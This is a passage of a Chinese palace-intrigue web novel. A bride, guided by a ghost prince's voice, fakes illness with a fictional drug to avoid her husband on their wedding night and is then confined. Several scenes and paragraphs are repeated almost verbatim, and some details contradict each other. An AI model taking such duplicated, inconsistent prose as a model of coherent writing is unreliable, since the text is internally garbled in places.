“今日的宴会,到此为止。”
……
当沈琉璃,抱着早已不省人事的春桃,回到那间,早已被布置成了婚房的寝殿时,已是深夜。
殿内,红烛高照,喜气洋洋。
可空气中,却弥漫着一股,让人无法呼吸的压抑。
早已等候在此的太医,在为春桃诊治过后,皆是面露难色,连连摇头。
“回禀太子妃,春桃姑娘的伤,实在是太重了。”为首的张院使,躬身说道,“那碗‘佛跳墙’乃是用数十种大补之物,熬制了整整七七四十九个时辰的,其热量之高,早已非凡火可比。如今,热毒攻心,已是伤及了肺腑,微臣无能,怕是……”
他没有再说下去,但那未尽之意,却让在场所有人的心,都沉入了谷底。
“都给本宫滚出去!”
她站起身,将所有太医,都给赶了出去。
随即,她快步走到床前,从自己的发髻上,取下了一根银簪。
她将簪尾那颗,由南海明珠打磨而成的珠子,轻轻地旋开。
只见在那中空的簪身里,竟还藏着一粒,只有米粒大小的药丸!
正是顾九,在临走前,为她备下的“保命丹”!
她没有半分犹豫,撬开春桃的嘴,将那粒药丸,送了进去。
做完这一切,她才软软地瘫倒在了床边。
她的后背,早已被冷汗浸透。
“你倒是舍得。”
君北玄的声音,在她脑海中响起,竟是难得地没有半分嘲讽。
“王爷,”沈琉璃在心里,苦笑一声,“她是我在这世上,唯一的亲人了。”
“哼,妇人之仁。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住,“你救得了她一时,救得了她一世吗?”
“你别忘了,”他的声音,变得无比冰冷,“今夜,是的洞房花烛夜。”
第135章 洞房暗战
沈琉璃缓缓地抬起头,只见在寝殿的门口,一个身着一身大红色喜袍的男人,正负手而立,静静地看着她。
正是太子,君怀瑾!
他不知何时,已悄然抵达。
也不知在那里,站了多久。
他的脸上,依旧是那副温和的笑容,那双眼睛里,却不带任何温度。
“爱妃,”他缓缓开口,声音温和得,仿佛能将这世间最坚硬的寒冰,都给融化,“看来,你今夜是真的很忙啊。”
他一边说,一边缓缓地朝着沈琉璃,走了过来。
他的每一步,都走得极稳,极慢。
那副模样,不像是一个,前来与自己新婚妻子,共度良宵的丈夫。
倒更像一个,即将享用自己猎物的猎人。
“殿下说笑了。”沈琉璃缓缓地站起身,脸上露出了惶恐的表情,“臣妾只是,放心不下春桃的伤势。”
“哦?”君怀瑾笑了笑,他走到床边,居高临下地看了一眼,还在昏迷中的丫鬟。
“一个奴才罢了,死了,便死了。”他缓缓开口,“爱妃又何必,如此伤心?”
他这番话,说得云淡风轻,却像一把刀子,狠狠地扎进了沈琉璃的心脏!
“殿下!”她的声音里,带上了几分颤抖。
“怎么?”君怀瑾转过身,看着她,露出了一个困惑的表情,“难道,我说错了吗?”
“还是说,”他的眼中,闪过了一抹极其危险的光芒,“在爱妃的心里,一个奴才的命,远比孤这个夫君,还要重要?”
他这是在,逼她站队!
逼她,在这座吃人的宫墙内,做出第一个残忍的选择!
“臣妾不敢!”沈琉璃“噗通”一声,跪倒在地!
她知道,自己今日若是退了,那她在这座寝殿里,便再无半分立足之地!
“殿下明鉴!”她抬起头,眼中充满了悲愤,“春桃虽然只是个奴婢,可她,却是为了护卫皇后娘娘的安危,才身受重伤!她是我东宫的功臣!殿下您怎能,如此寒了忠臣的心?!”
她这番话,说得掷地有声!
“好,好一个‘忠臣’。”君怀瑾看着她,竟是气极反笑。
他发现,自己越来越喜欢,这只看似柔弱,实则长满了利爪的小狐狸了。
“那你倒是跟孤说说,”他缓缓开口,“既然是功臣,那便该赏。”
“你说,孤该如何赏她,才不算寒了你这位‘大功臣’的心啊?”
他这是在将皮球,又给踢了回来!
他要看看,这个女人到底还能玩出什么花样!
沈琉璃跪在冰冷的金砖上,只觉得一股寒意,从膝盖处,瞬间蔓延至四肢百骸。
她知道,自己今日面对的是一个真正的对手。
一个,远比她之前遇到的所有敌人,都更要可怕百倍的对手。
“怎么?”君怀瑾看着她,说道,“爱妃是觉得,孤这个问题很难回答吗?”
“还是说,”他继续说道,“在爱妃的心里,一个奴才的命,根本就不值一提?”
他这是要逼着沈琉璃,做出选择!
“他娘的!”在沈琉璃的脑海中,君北玄的声音,充满了无边的愤怒,“这个混蛋!他这是在逼你!”
“王爷,”沈琉璃在心里,苦笑一声,“我现在根本没有反抗的余地。”
“那也不能任由他,如此羞辱!”君北玄怒道,“不就是一条人命吗?!他既然想看,那我们便让他好好看看!”
“告诉他!”他的声音,变得无比果决,“春桃护驾有功,理应奖赏!不仅要赏,还要重赏!赏她黄金百两,良田千亩!赏她一个,连你这个主子,都给不了她的泼天富贵!”
“王爷……”沈琉璃的心,猛地一颤。
她怎么也没想到,这个一向视人命如草芥的男人,竟会在此刻,说出如此充满人性的话。
“你……”
“你什么你!”君北玄像是被踩了尾巴的猫,瞬间便炸了毛,“本王只是,不想让你这个蠢女人,在一开始就输得那么难看罢了!”
“你别忘了,”他的声音,变得无比冰冷,“你现在,代表的不仅仅是你自己!”
“更是,我君北玄的脸!”
……
沈琉璃缓缓地抬起头,那双早已被泪水模糊的眼眸,在这一刻,重新变得清亮!
她看着君怀瑾,缓缓地从地上站了起来。
“殿下,”她轻声说道,“您说得对,功臣理应重赏。”
“哦?”君怀瑾的脸上,露出了一个饶有兴致的表情。
“臣妾以为,”沈琉璃缓缓说道,“春桃虽然只是个奴婢,可她却用自己的性命,护卫了中宫的威严,保全了皇家的颜面。此等忠义,早已超越了她的身份。”
“所以,”她看着他,说道,“臣妾恳请殿下恩准,收春桃为义妹!”
“赐她沈氏之姓,录入我尚书府的宗祠!”
“从此以后,她不再是奴,而是我沈琉璃,唯一的亲人!”
“待她伤愈之后,臣妾会亲自为她,寻一门好亲事。十里红妆,风风光光地将她嫁出去!”
“让她,也尝一尝,这世间女子该有的幸福!”
她这番话,说得掷地有声!
“好,好一个‘唯一的亲人’。”君怀瑾看着她,竟是气极反笑。
“爱妃说的是。”他点了点头,随即对着门外,淡淡地吩咐道,“来人。”
“传孤的令,”他缓缓开口,“春桃护驾有功,忠心可嘉。即刻起,擢升为东宫一等掌事宫女,与常德一同,负责打理东宫内外所有事宜。”
“另,”他顿了顿,将目光,重新投向了沈琉璃,“赏黄金百两,锦缎千匹,上等玉器十箱。”
“待其伤愈后,便由她亲自为你挑选,陪嫁入宫的二十名侍女。”
他这番话,看似是赏赐,实则却是恶毒的捧杀!
他竟是要,将春桃这个,本是忠心耿耿的丫鬟,活活地捧成一个“掌事”!
他要用这种方式,来离间她们主仆二人的情分!
他要让所有人都看看,她沈琉璃的人,到底有多么地“忠心”!
“殿下英明。”沈琉璃没有半分犹豫,对着他再次盈盈一拜。
……
一场无声的硝烟,就这么被君怀瑾,轻描淡写地给化解了。
他没有再理会那个,还在昏迷中的春桃,而是将目光投向了那张,早已被布置得喜气洋洋的婚床。
“时辰,不早了。”他看着沈琉璃,笑着说道,“爱妃也该歇息了。”
他说着,便缓缓地朝着沈琉璃,走了过来。
沈琉璃的心,猛地一紧!
她下意识地,向后退了一步。
“殿下,”她的声音里,带上了几分颤抖,“春桃她……”
“一个奴才罢了,何必理会。”君怀瑾打断了她,脸上的笑容依旧是那般温和。
“殿下!”
……
寝殿内,红烛高照,帐暖如春。
可沈琉璃却只觉得,自己仿佛置身于一座冰窖里面。
君怀瑾一句“何必理会”,如同一盆冰水,将她心中最后的那点侥幸,都给浇得干干净净。
她看着眼前这个,名义上的夫君,一步一步地朝着自己,逼近了过来。
“殿下!”
沈琉璃下意识地向后退了一步,后背重重地撞在了冰冷的墙壁上,再无退路。
“怎么?”君怀瑾看着她,脸上露出了一个“困惑”的表情,“爱妃这是,在怕孤吗?”
“臣妾不敢。”沈琉璃低着头,轻声说道。
“不敢?”君怀瑾笑了,他伸出手,轻轻地挑起了她的下巴,逼着她与自己对视,“那你倒是跟孤说说,你为何一进城就要将那支鸣镝箭,重新射回皇宫啊?”
“你又为何,要当着所有人的面,与孤的那些‘家人’斗得你死我活呢?”
“你甚至还敢将孤,也一并算计进去?”
他每问一句,那只捏着她下巴的手,便会紧上一分。
那力道之大,几乎要将她的骨头,都给生生地捏碎!
“哼,”在沈琉璃的脑海中,君北玄的声音,充满了无边的愤怒,“这个混蛋!他竟敢如此对你?!”
“王爷,”沈琉璃在心里,苦笑一声,“我早已是一块砧板上的鱼肉了。”
“那也不能任由他,如此羞辱!”君北玄怒道,“反击!立刻反击!告诉他!你这么做,就是为了替孤出一口气!本王倒要看看,他能奈你何?!”
“王爷,您这不叫反击,这叫自爆。”沈琉璃在心里,平静地回应。
她缓缓地抬起头,迎上了君怀瑾的眼睛,脸上露出了一个凄楚的笑容。
“殿下,”她的声音里,带上了委屈,“您真的以为,臣妾是想与您为敌吗?”
“哦?”
“臣妾之所以这么做,不过是因为,臣女惜命。”沈琉璃的回答,简单直接,“臣妾知道,自己身份卑微,人微言轻。若不能在入宫的第一日,便立下自己的威严,那等待着臣妾的,便将是万劫不复的深渊。”
“臣妾这么做,不是为了自己。”她看着他,说道,“而是为了,不给殿下您丢脸。”
这番话,说得滴水不漏。
君怀瑾静静地看着她,许久才缓缓地松开了那只,捏着她下巴的手。
“好,好一个‘不给孤丢脸’。”他笑了,那笑容里带上了几分,连他自己都未曾察觉的欣赏。
他缓缓地转过身,走到了那张,早已被布置得喜气洋洋的婚床前。
“时辰,不早了。”他看着沈琉璃,笑着说道,“爱妃,也该歇息了。”
第136章 孤狼的嫉妒
君怀瑾说着,便缓缓地朝着沈琉璃,再次走了过来。
这一次,他不再有任何试探。
他伸出手,轻轻地解开了沈琉璃那身,繁复嫁衣的衣带。
冰冷的空气,瞬间便顺着敞开的衣襟,灌了进来!
沈琉璃的身体,猛地一颤!
她下意识地想后退,却被君怀瑾一把,揽入了怀中!
“爱妃,”他看着她,声音温和得,仿佛能将这世间最坚硬的寒冰,都给融化,“春宵一刻,值千金啊。”
他说着,便要低下头,吻上她的唇。
“动手!沈琉璃!你还在等什么?!”
在沈琉璃的脑海中,君北玄的咆哮声,几乎要将她的意识给掀翻了!
他从未像此刻这般,失态过。
那种感觉,就像是自己最心爱的珍宝,被一个自己最讨厌的人,给当着自己的面,肆意地玷污!
“王爷!”沈琉璃在心里,也忍不住低喝一声,“您冷静一点!现在动手,便是前功尽弃!”
“本王如何冷静?!”君北玄怒道,“你难道,真的要与他……”
沈琉璃知道,自己已经没有退路了。
就在君怀瑾的唇,即将触碰到她的那一刻。
她猛地抬起手,用尽全身的力气,推开了他!
随即,她整个人便像是被抽去了所有力气,猛地向后一软!
“噗——!”
一口鲜血,从她的口中,喷涌而出!
染红了她那身,散开的嫁衣!
也同样,染红了君怀瑾那双,充满了不敢置信的眼睛!
“你……”
“殿下,”沈琉璃看着他,脸上露出了一个凄美的笑容,“臣妾的身子,怕是配不上您了……”
她说罢,便缓缓地闭上了眼睛,软软地倒在了冰冷的地砖上,不省人事。
寝殿内,红烛摇曳,将君怀瑾那张,写满了错愕的脸,映照得忽明忽暗。
他看着这个,软软地倒在自己脚边,早已不省人事的少女,只觉得自己的脑子,在瞬间变得一片空白。
她……她竟敢……
她竟敢用这种方式,来反抗自己?!
一股无名的怒火,混合着一种,连他自己都说不清的屈辱,涌上了他的心头!
他缓缓地蹲下身,伸出手,探了探她的鼻息。
气息,极其微弱,时断时续。
他又将手指,搭在了她的手腕上。
脉象,更是混乱到了极点,时而如奔马,时而如游丝,毫无章法。
看起来,倒真像是急火攻心,旧疾复发的模样。
可他却总觉得,有哪里不对劲。
这个女人,从他见到她的第一刻起,便一直表现得滴水不漏,宠辱不惊。
她不像是一个,会因为这点小事,便情绪失控到吐血昏厥的人。
“演戏。”
这两个字,在他的脑海中,一闪而过。
可他,却找不到任何证据。
“殿下!”
就在此时,寝殿的大门,被猛地推开!
内侍总管常德,带着几名太医走了进来!
“殿下!您没事吧?!”
他看着地上那,触目惊心的血迹,以及早已不省人事的未来太子妃,吓得是魂不附体!
“传孤的令,太子妃她,水土不服,旧疾复发。”君怀瑾缓缓地站起身,声音冰冷得不带任何感情,“从现在起,封锁整个承运殿,任何人不得随意出入!”
“另外,”他继续说道,“派我们最可靠的人,立刻去一趟乾国。”
“孤要沈琉璃从小到大,所有的病案记录!”
“是!”
……
一场本该是,春色无边的洞房花烛夜,最终以一种,谁也无法预料的方式,惨淡收场。
而沈琉璃,则在所有人的注视下,被几名手脚麻利的宫女,小心翼翼地抬到了偏殿的床榻上。
太医们进进出出,忙得不可开交。
可他们开出的药方,却无一例外,都是些不痛不痒的安神补气之物。
所有人都心知肚明,这位刚刚才嫁入东宫的未来太子妃,怕是活不长了。
……
然而,他们都不知道的是。
在那个,早已陷入了昏迷的少女的脑海中,正上演着另一场,更加惊心动魄的战争。
“他娘的!”君北玄的声音,充满了无边的后怕,“你这个疯女人!你知不知道你刚才在做什么?!那可是‘逆血散’!是我当年,在军中专门用来,惩治那些逃兵的虎狼之药!此药,虽然能让你在短时间内,呈现出吐血昏厥的假象,可它对身体的损伤,却是不可逆的!”
“你……”他的声音里,带上了几分颤抖,“你这是在,拿自己的命开玩笑!”
“王爷,”沈琉璃的声音,虚弱得像一片羽毛,“您不是也说了吗?置之死地,方能后生。”
“放屁!”君北玄怒道,“本王说的是兵法!不是让你去送死!”
“可若是我不这么做,”沈琉璃在心里,苦笑一声,“那我今夜,怕是早已,死得不能再死了。”
君北玄沉默了。
他不得不承认,这个女人的计策虽然疯狂,却是眼下破局的唯一方法。
“那你现在,感觉如何?”他问道,声音里,竟是难得地带上了几分关切。
“还好。”沈琉璃在心里,平静地回应,“只是觉得,有些冷。”
冷……
这个字,如同一根无形的针,狠狠地刺在了君北玄的灵魂上!
他知道,这不是错觉。
“逆血散”的药性,正在她体内,疯狂地肆虐!
若是再不想办法,将那股霸道的药力,给压制下去,那她便真的要死在这里了!
“不行!不能再这么等下去了!”君北玄的声音,变得无比果决!
“沈琉璃!你听着!”他的声音,掷地有声,“从现在起,将你所有的心神,都集中起来!本王要教你一套,能让你活下去的法子!”
“什么法子?”
“‘龟息功’。”君北玄缓缓说道,“这是,我大徽皇室,代代相传的内功心法。虽然不能让你立刻恢复如初,却也能让你,暂时地封住自己的血脉,将那股霸道的药力,都给压制回你的丹田!”
“可是……”
“没有可是!”君北玄打断了她,“你现在,没有别的选择了!”
他说罢,便开始将那套,繁复而又玄奥的内功心法,一字一句地传入了沈琉璃的脑海之中。
“气沉丹田,意守玄关……”
“周天运转,九九归一……”
沈琉璃不敢有半分怠慢,连忙摒住呼吸,按照他的指示,一点一点地尝试着运转自己体内那,微弱的气息。
起初,她只觉得自己的身体,仿佛变成了一个被堵死了的河道。
无论她如何努力,都无法将那股气息,给推动分毫。
可随着时间的推移,她渐渐地找到了感觉。
那股,原本还微弱不堪的气息,竟真的在她的引导下,开始缓缓地在她的四肢百骸中,流动了起来!
而她那颗,因为紧张而剧烈跳动的心,也渐渐地平复了下来。
她甚至能感觉到,自己那冰冷的身体,也开始恢复了些许温度。
“漂亮。”君北玄难得地发出了一声赞叹,“沈琉璃,本王承认,你或许没有习武的天赋,但你这内功的根骨,倒还真有几分天纵奇才的模样。”
“王爷过奖了。”沈琉璃在心里,有气无力地回敬了一句,“您若是再晚一会儿,怕是就要给我收尸了。”
“闭上你的乌鸦嘴。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住。
他知道,自己今日,也同样从鬼门关前走了一遭。
若是这个女人,真的死在了这里。
那他……
他不敢再想下去。
沈琉璃在“龟息功”心法的引导下,终于将体内那股,暴走的药力尽数压制回丹田时,窗外已是鸡鸣三遍,天光大亮。
她缓缓地睁开眼,只觉得自己的身体,仿佛是被拆散了又重新组装过一般,每一寸骨头缝里,都透着一股酸软无力的疲惫。
可她的脑子,却前所未有的清明。
“感觉如何?”
君北玄的声音,在她脑海中响起,竟是难得地没有半分嘲讽。
“还好。”沈琉璃在心里,平静地回应,“只是觉得,有些饿了。”
“你现在,最好还是乖乖地躺着,别乱动。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住,“‘逆血散’的药性,虽然被暂时压制住了,可它对你身体的损伤,却并非一日之功便能弥补的。接下来这几日,你怕是要好生‘静养’了。”
他特意在“静养”二字上,加重了语气。
沈琉璃知道,他这是在提醒自己,好戏现在才刚刚开始。
果然,就在她刚刚才缓过一口气的时候,寝殿的大门,便被“吱呀”一声,从外面推开了。
太子君怀瑾,身着一身明黄色的常服,端着一碗还冒着热气的汤药,缓缓地走了进来。
第137章 斩断
君怀瑾的脸上,带着几分,尚未完全褪去的疲惫,眼睛里布满了血丝。
那副模样,像一个为了照顾病妻,而彻夜未眠的痴情丈夫。
“爱妃,”他走到床前,将手中的药碗,轻轻地放在了床头的矮几上,“你醒了?”
“殿下……”沈琉璃挣扎着,想要起身行礼,却被他轻轻地按了回去。
“你身子弱,不必多礼。”他看着她,声音里充满了关切,“孤已传了太医,他们说你只是水土不服,旧疾复发,并无大碍。这是孤,亲手为你熬的‘安神汤’,你快趁热喝了吧。”
他这番话,既全了皇家体面,又将自己,摆在了一个体恤妻子的位置上。
可沈琉璃却能清晰地感觉到,他那双按在自己肩膀上的手,是何等的冰冷,不带任何温度。
“他是在,试探你。”君北玄的声音,在她脑海中响起,“他想看看,你到底是真的病了,还是在演戏。”
“王爷,”沈琉璃在心里,苦笑一声,“您不觉得,这个问题很无聊吗?”
她缓缓地抬起头,看着君怀瑾,脸上露出了一个“感激”的笑容。
“多谢殿下厚爱。”
她缓缓地伸出手,将那碗还冒着热气的汤药,端了起来,缓缓地送到了自己的唇边。
她的动作,很慢,很稳。
在君怀瑾的注视下,她将那碗药一饮而尽。
随即,她就软软地倒回了床榻上,缓缓地闭上了眼睛。那副模样,像极了一个油尽灯枯的病人。
君怀瑾静静地看着她,脸上没有任何表情。
许久,他才缓缓地站起身,走到了窗边。
……
接下来的几日,整个东宫,都笼罩在一种,诡异的平静之中。
未来太子妃,在新婚之夜,旧疾复发,卧床不起的消息,被完美地掩盖了过去。
而太子君怀瑾,则更是将痴情丈夫的戏码,演得淋漓尽致。
他不仅每日,都会亲自前来,为沈琉璃喂药。
更是下令,将东宫内所有名贵的补品,都如同流水一般,送入了偏殿之中。
那副模样,仿佛是真的把太子妃给捧在手心里疼爱。
可只有沈琉璃自己知道,这风平浪静的湖面下,正涌动着何等汹涌的暗流。
她每日,虽然都躺在床上“安心静养”。
可她的脑子,却一刻也未曾停歇。
她将君北玄,教给她的那套“龟息功”心法,一遍又一遍地在体内运转着。
那股,原本还微弱不堪的气息,竟真的在她的引导下,开始缓缓地壮大了起来!
而她那颗,因为“逆血散”而受损的心脉,也渐渐地恢复了些许生机。
“不错。”君北玄难得地发出了一声赞叹,“看来,你这个女人,倒还真有几分练武的根骨。”
“王爷过奖了。”沈琉璃在心里,有气无力地回敬了一句,“您若是再不教我点,能保命的真本事,怕是就要给我收尸了。”
“哼,废话。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住。
他知道,自己现在,与眼前这个女人,早已是一荣俱荣,一损俱损。
他若是想重返北境,报仇雪恨。
那便必须,先保住这个看似柔弱,实则比谁都更要命硬的小狐狸。
……
就在沈琉璃,在东宫内,与君怀瑾斗智斗勇的时候。
另一场,无声的较量,也正在千里之外的乾国,悄然上演。
三皇子李琰,在接到沈琉璃的密信后,当即便召集了所有幕僚,连夜商议起了对策。
“殿下,”林大学士看着那封,由沈琉璃亲笔所写的密信,脸上露出了前所未有的凝重,“大小姐此行,怕是凶多吉少了。”
“我知道。”李琰点了点头,声音沙哑,“可我们现在除了等,还能做什么呢?”
“不。”林大学士摇了摇头,“我们还可以,为大小姐送上一份‘大礼’。”
“哦?”
“殿下,”他看着李琰,说道,“您忘了,我们手上,还握着一张,足以让君怀瑾永不翻身的王牌吗?”
李琰的心,猛地一跳!
他当然知道,林大学士说的是什么!
那便是,当初在隘口之战中,从那个不知名的小男孩手中,得到的叛国密信!
……
回到大徽王朝,太子的寝殿。
李嬷嬷带着四名宫女,走了进来。
“给太子妃请安。”李嬷嬷对着床榻的方向,不卑不亢地福了一福,“娘娘听闻太子妃昨夜受了惊吓,凤体抱恙,心中甚是担忧。特命老奴前来伺候您梳洗,并传娘娘的口谕。”
沈琉璃在君北玄的提醒下,早已收敛了气息,她缓缓地睁开眼。
“有劳嬷嬷了。”她挣扎着,想要起身。
“太子妃快躺下。”李嬷嬷连忙上前,将她按了回去,脸上露出了一个关切的笑容,“您现在身子金贵,可万万动不得。娘娘说了,您自幼在乾国长大,初来乍到,水土不服也是常理。只是这承运殿,乃是东宫正殿,人多眼杂,怕是会扰了您的清净。”
“娘娘已在东宫最清幽的‘静月轩’,为您备下了新的寝殿。那里三面临水,院内又种满了从南边移植过来的翠竹,最是适合养病了。”
“他娘的!”君北玄在她脑中,忍不住骂了出来,“这个老妖婆,比她那个只会演戏的儿子,还要虚伪!什么翠竹流水?那地方三面环水,只有一条通路,院墙又高达三丈,别说是人,便是一只鸟都休想飞得出去!她这不是让你去养病,她是让你去坐牢!”
“王爷,”沈琉璃在心里,苦笑一声,“从我踏入这座宫墙的那一刻起,我早已是阶下囚了,住在哪里又有什么关系呢?”
她没有再反驳,只是对着李嬷嬷,露出了一个感激的笑容。
“多谢娘娘厚爱。”
……
半个时辰后,一顶小小的软轿,悄无声息地从承运殿的侧门抬出,一路朝着东宫深处的“静月轩”,行了过去。
轩内,被打扫得一尘不染。
所有的陈设,都换成了沈琉璃在乾国时,最喜欢的样式。甚至连角落里那只,用来熏香的博山炉,都与她晚晴居内的那只,一般无二。
这份“体贴”,让沈琉璃只觉得,浑身冰冷。
看来,君怀瑾派去乾国的人,已经回来了。
而她在这座宫墙内,所有的喜好与厌恶,都早已被那个男人,给摸得一清二楚。
“小姐!”
就在此时,一声充满了惊慌的哭喊,忽然从院外传来!
只见春桃,被两名身材高大的侍女,一左一右地架着,正拼命地朝着这边挣扎!
她的脸上,还带着一个清晰的巴掌印,嘴角也渗出了血丝。
“小姐!您不能住在这里啊!奴婢听说,这里以前是……”
她的话,还未说完,便被一名侍女,用一块破布,给死死地堵住了嘴!
“放肆!”李嬷嬷的声音,不带任何感情,“在太子妃面前,如此大呼小叫,成何体统?!看来,大徽的规矩,确实是该好好地学一学了。”
“来人,”她对着身后的侍女,淡淡地吩咐道,“将这位春桃姑娘,连同所有从乾国带来的奴才,一并带去浣衣局。”
“告诉那里的管事,好生‘教导’。”
“在没有我的允许之前,任何人不得再踏入静月轩半步!”
“你们要做什么?!”沈琉璃的脸色,猛地一变!她挣脱开身旁宫女的搀扶,一把抓住了李嬷嬷的胳膊,“嬷嬷!春桃她……”
“太子妃,”李嬷嬷看着她,脸上露出了一个似笑非笑的表情,“您似乎忘了,您现在,可是个‘病人’啊。”
“病人,就该有病人的样子。”
“这东宫内外的事,您还是少操心的好。”
她说完,便不再理会沈琉璃,只是对着那两名侍女,使了个眼色。
春桃,就这么被硬生生地,从沈琉璃的面前,给拖了下去。
她那双充满了恐惧的眼睛,死死地盯着自家小姐,口中发出“呜呜”的声响,却一个字也说不出来。
沈琉璃看着她,只觉得自己的心,被狠狠地揪了一下!
她知道,自己今日若是退了,那她在这座庭院里,便再无半分立足之地!
可她,却又如何能不退?
她现在,只是一个连自己都自身难保的“病人”罢了。
……
当静月轩那扇,由沉香木打造的沉重殿门,在身后缓缓合上时,整个世界,仿佛都安静了下来。
沈琉璃独自一人,站在这座空旷的寝殿里,只觉得一股,前所未有的孤独,如同潮水一般,将她整个人都给吞噬了。
她所有的臂助,所有的依仗,都在这一夜之间,被那个男人,不动声色地尽数斩断。
她现在,是真的只剩下自己一个人了。
“不。”
君北玄的声音,在她脑海中响起,竟是难得地带上了几分温柔。
“你不是一个人。”
“你还有我。”
第138章 蛛丝与马迹
君北玄的话,在沈琉璃的心中,漾开了一圈微弱却坚定的暖意。
她缓缓地抬起头,看着铜镜中自己那张苍白的脸,眼睛里在这一刻重新燃起了微光。
是啊,她不是一个人。
她还有他。
一个虽然毒舌、傲娇,却能在最关键的时刻,为她点亮一盏灯的鬼王爷。
……
静月轩的殿门再次关上的时候,整个世界,仿佛都在这一刻安静了下来,只剩下风吹过院内翠竹时,单调的“沙沙”声。
沈琉璃独自一人,看着窗外那三面环水,碧波荡漾,一座小小的汉白玉拱桥,是通往外界的唯一通路。
君北玄的声音,在她脑海中响起,充满了对她这种多愁善感的不屑。
“哭有什么用?!你现在要做的不是在这里自怨自艾,而是要在最短的时间内,想好对策!”
“王爷,”沈琉璃在心里,苦笑一声,“您是不是忘了,我现在哪有资格挑三拣四?”
“你以为,”君北玄嗤笑一声,“你现在只是个,普通的‘囚徒’吗?”
“不。”他的声音,变得无比凝重,“你现在,是这盘棋局上,最重要的一枚棋子!”
“而一个合格的棋子,在落子之前,首先要做的便是熟悉棋盘!”
他将自己,对这座“静月轩”的观察,一五一十地传入了沈琉璃的脑海中。
“你看那座拱桥,”他的声音,充满了冷静,“桥身,由整块汉白玉雕琢而成,看似坚固,实则在桥墩与桥面的连接处,留有三处极其隐蔽的机括。若本王没猜错,只要启动机关,这座桥便会在短短数息之内,轰然崩塌!”
“还有这片翠竹林,”他继续说道,“看似杂乱无章,实则却是按照,军中的‘八卦阵’所植。外人若是误闯进去,不出半个时辰,便会迷失方向,最终被活活困死在里面!”
“至于你身边伺候的这四个宫女,”他的声音里,带上了几分讥讽,“左边那个,走路时下盘极稳,虎口处有薄茧,应是皇后谢氏,从她娘家带来的护卫。”
“右边那个,虽然看似柔弱,可她每次为你布菜时,指尖都会下意识地,在你的手腕上,轻轻地搭一下,那是在试探你的脉象。”
“她,是君怀瑾的人。”
君北玄的话,就像是一幅画卷,在沈琉璃的面前慢慢展开。
将这座,看似是“疗养院”的静月轩,其背后隐藏的杀机,都给血淋淋地揭露了出来!
“王爷,”沈琉璃在心里,平静地回应,“您说的这些,我都明白。”
“可您也该明白,我们现在,已经没有别的选择了。”
“不。”君北玄摇了摇头,“我们还有。”
“什么?”
“你。”君北玄的声音,掷地有声,“你就是,我们唯一的武器。”
“从现在起,”他的声音,变得无比坚定,“忘掉你那些,上不得台面的小把戏。”
“准备好,打一场真正的硬仗吧。”
……
接下来的两日,整个静月轩,都笼罩在一种,诡异的平静之中。
沈琉璃,就像一个真正的“病人”,每日里除了用膳,便是躺在床上“安心静养”。
她不哭,不闹,甚至不多说一句话。
那副模样,像一个早已被磨平了所有棱角,彻底认命了的木偶。
她越是如此,那些负责监视她的宫女们,便越是放松了警惕。
她们虽然依旧是,寸步不离地守在她的身边。可她们的眼神,却早已没了最初的锐利,只剩下了一种程式化的麻木。
而她们不知道的是。
在这份虚假的平静下,一场无声的战争,早已在沈琉璃的脑海中,悄然上演。
……
当清晨的第一缕阳光,穿透静月轩的窗棂时,沈琉璃便已醒了。
她没有像往常一样,由着性子赖床,而是缓缓地睁开了那双,还带着几分惺忪睡意的眼眸。
“醒了?”
君北玄的声音,在她脑海中响起。
“嗯。”沈琉璃在心里,平静地回应。
“感觉如何?”
“还好。”她缓缓地坐起身,将一头青丝,随意地披在了肩上,“只是觉得,有些无聊。”
“无聊?”君北玄嗤笑一声,“你以为,你现在是在度假吗?”
“不然呢?”沈琉璃看着窗外那,早已被晨光染成了金色的翠竹,轻声说道,“每日里除了吃,便是睡。偶尔还能看看书,听听曲。这样的日子,不比我在尚书府时,还要清闲几分?”
“哼,妇人之见。”君北玄虽然嘴上这么说,但声音里的那份凝重,却是怎么也掩盖不住,“你现在最好还是乖乖地躺着,别乱动。‘逆血散’的药性,虽然被暂时压制住了,可它对你身体的损伤,却并非一日之功便能弥补的。接下来这几日,你怕是要好生‘静养’了。”
他特意在“静养”二字上,加重了语气。
沈琉璃知道,他这是在提醒自己,好戏现在才刚刚开始。
就在这时,两名身着粉色宫装的侍女,端着早已备好的盥洗用具和一套素雅的宫装,缓缓地走了进来。
她们的脸上,没有半分多余的表情,动作更是如同被设定好了程序的木偶,一丝不苟,毫厘不差。
“给太子妃请安。”
她们对着床榻的方向,不卑不亢地福了一福。
沈琉璃没有说话,只是任由她们,为自己梳洗,更衣。
那副模样,像一个早已被磨平了所有棱角,彻底认命了的木偶。
“看到了吗?”君北玄的声音,在她脑海中响起,“左边那个,是皇后的人。你看她的耳垂,虽然戴着宫中统一配发的珍珠耳坠,可耳洞的周围,却有一圈,极其细微的红痕。那是因为,她常年佩戴的,是一种由南疆特有的‘红玉’所制成的耳环。而这种红玉,只有皇后谢氏的娘家,才有门路能弄得到。”
“至于右边那个嘛……”他的声音里,带上了几分讥讽,“你看她为你梳头时,那双手的姿势。虽然极力模仿宫中嬷嬷的手法,可她的小指,却会下意识地,微微翘起。这是,常年习武之人才会有的习惯。”
“她,是君怀瑾的人。”
君北玄的这番话,如同一幅画卷,在沈琉璃的面前缓缓展开。
“从现在起,”他的声音,变得无比坚定,“准备好,打一场真正的硬仗吧。”
……
接下来的几日,沈琉璃将君北玄,教给她的那套,在绝境中搜集情报的法子,一遍又一遍地在心中演练着。
她学会了,从每日送来的餐食规格,来判断皇后今日的心情。
若是四菜一汤,那便说明,皇后今日,心情尚可。
若是六菜两汤,那便说明,皇后今日,必是遇到了什么烦心事。
她甚至还学会了,从庭院中,那些洒扫宫女的闲聊中,来拼凑出整个东宫,各方势力的关系网。
谁与谁交好,谁与谁有隙,谁又在哪一日,得了太子殿下的“恩宠”。
这些,看似是上不得台面的妇人长舌,可在君北玄的“翻译”下,却都变成了,能决定一场战争胜负的关键情报!
“你听,”这日午后,君北玄的声音,忽然在她脑海中响起,“外面那两个,又在嚼舌根了。”
沈琉璃将心神沉下,果然听到,院外那两个,负责洒扫的小宫女,正压低了声音,交头接耳。
“哎,你听说了吗?昨夜,赵良娣的宫里,又传出动静了。”
“谁不知道啊!听说,太子殿下又赏了她一对,南海进贡的夜明珠呢!那珠子,据说比鸽子蛋还大,夜里能将整个寝殿都给照得亮如白昼!”
